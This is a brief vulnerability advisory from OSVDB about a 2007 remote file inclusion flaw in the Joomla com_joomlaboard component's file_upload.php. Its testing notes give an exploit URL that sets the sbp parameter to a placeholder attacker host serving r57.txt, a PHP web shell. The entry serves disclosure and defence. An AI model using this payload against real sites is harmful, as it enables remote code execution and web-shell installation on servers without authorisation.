Joomla com_joomlaboard file_upload.php sbp Variable Remote File Inclusion

2007-03-23T10:02:58
ID OSVDB:34794
Type osvdb
Reporter OSVDB
Modified 2007-03-23T10:02:58

Description

Manual Testing Notes

http://[target]/Joomla_path/components/com_joomlaboard/file_upload.php?sbp=http://[attacker]/r57.txt?

References:

Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-03/0323.html